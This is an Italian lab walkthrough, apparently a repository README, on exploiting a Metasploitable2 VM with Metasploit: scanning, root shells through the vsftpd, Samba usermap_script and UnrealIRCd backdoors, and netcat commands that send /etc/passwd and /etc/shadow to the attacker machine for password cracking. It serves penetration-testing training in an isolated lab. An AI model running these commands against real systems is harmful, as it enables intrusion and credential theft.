
Guida completa allo sfruttamento con Metasploit contro Metasploitable2 — backdoor vsftpd, Samba CVE-2007-2447, backdoor UnrealIRCd, esfiltrazione tramite Netcat e preparazione al cracking delle credenziali.
Una guida pratica allo sfruttamento utilizzando il Metasploit Framework — dalla configurazione del database PostgreSQL e la scansione db_nmap, attraverso tre shell root via vsftpd, Samba e UnrealIRCd, fino all'esfiltrazione delle credenziali con Netcat.
Questo repository documenta un impegno completo di Metasploit contro Metasploitable2 in un laboratorio VirtualBox isolato. Argomenti trattati:
db_nmap per salvare i risultati della scansione direttamente nel databaseusermap_script)/etc/passwd e /etc/shadow tramite Netcat e unione con unshadow| Macchina | Ruolo | Indirizzo IP |
|---|---|---|
| Kali Linux 2026.1 | Attaccante | 192.168.1.4 |
| Metasploitable2 | Target | 192.168.1.3 |
Rete: 192.168.1.0/24 — rete NAT completamente isolata all'interno di VirtualBox.
# Start PostgreSQL and initialize the database (one time only)
sudo systemctl start postgresql
sudo msfdb init
# Launch Metasploit
msfconsole


msf6> db_status # Verify: Connected to msf. Connection type: postgresql.
msf6> workspace -a 178-metasploitable2
msf6> workspace # Confirm active workspace

msf6> db_nmap -A 192.168.1.0/24 -n

msf6> hosts
msf6> services

Due server FTP trovati su Metasploitable2:
| Porta | Servizio | Informazioni |
|---|---|---|
| 21/tcp | ftp | vsftpd 2.3.4 |
| 2121/tcp | ftp | ProFTPD 1.3.1 |
Nel luglio 2011, l'archivio sorgente di vsftpd 2.3.4 è stato compromesso — è stato inserito un backdoor che apre una shell root sulla porta 6200 quando il nome utente FTP contiene :). CVE: CVE-2011-2523. Diff del codice: https://pastebin.com/AetT9sS5
msf6> search type:exploit name:vsftpd
# Result: exploit/unix/ftp/vsftpd_234_backdoor (rank: excellent)
msf6> use exploit/unix/ftp/vsftpd_234_backdoor
msf6> info




msf6> set RHOSTS 192.168.1.3
msf6> set RPORT 21
msf6> set LHOST 192.168.1.4
msf6> exploit


meterpreter> shell
whoami # root
uname -a # Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

Estrai password hashate:
cat /etc/shadow | grep '$1'

Le versioni di Samba 3.0.0–3.0.25rc3 passano meta-caratteri della shell nel campo username direttamente a /bin/sh tramite l'opzione username map script — prima che avvenga l'autenticazione. Metasploitable2 esegue Samba 3.0.20-Debian.
msf6> search type:exploit name:samba
# ~7 exploits found
msf6> use exploit/multi/samba/usermap_script
msf6> info



msf6> set RHOSTS 192.168.1.3
msf6> exploit


whoami # root
smbd --version # Version 3.0.20-Debian
Tab 2 — Kali (ricezione):
nc -l -p 4567 > passwd.txt
Tab 1 — Shell exploit (invio):
cat /etc/passwd | nc 192.168.1.4 4567


Ripeti per /etc/shadow, poi unisci:
unshadow passwd.txt shadow.txt > metasploitable_logins.txt
cat metasploitable_logins.txt
UnrealIRCd 3.2.8.1 è stato distribuito con un backdoor nel suo codice sorgente. L'invio di AB alla porta 6667 fa sì che il server esegua qualsiasi comando successivo come root — nessuna autenticazione richiesta.
msf6> use exploit/unix/irc/unreal_ircd_3281_backdoor
msf6> set payload cmd/unix/bind_netcat
msf6> set RHOSTS 192.168.1.3
msf6> set LHOST 192.168.1.4
msf6> set RPORT 6667
msf6> exploit


whoami # root
uname -a # Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
Opzioni richieste:
db_nmap → hosts → services → search → use → info → show options → set → exploit → shell
info prima di exploit è un'abitudine che vale la pena sviluppare — mostra CVE, versioni interessate e opzioni richieste| Opzione | Valore | Descrizione |
|---|
| RHOSTS | 192.168.1.3 | IP target |
| RPORT | 6667 | Porta predefinita IRC |
| LHOST | 192.168.1.4 | IP listener Kali |
| payload | cmd/unix/bind_netcat | Shell bind via Netcat |
| Errore | Cosa succede | Soluzione |
|---|
Saltare msfdb init | Nessun database — i risultati della scansione non vengono salvati | Esegui sudo msfdb init una volta prima del primo utilizzo |
Non impostare LHOST | La shell reverse non ha dove chiamare | Imposta sempre LHOST sul tuo IP Kali |
Eseguire msfdb init ogni sessione | Sovrascrive i dati esistenti | Esegui una sola volta; verifica con sudo msfdb status |
| RPORT errato | L'exploit fallisce silenziosamente | Conferma la porta da services prima di impostare |
| Chiudere il listener Netcat troppo presto | Trasferimento file troncato | Attendi un momento dopo il comando pipe prima di CTRL-C |
Saltare unshadow | I cracker di password rifiutano il formato file diviso | Unisci sempre passwd e shadow prima |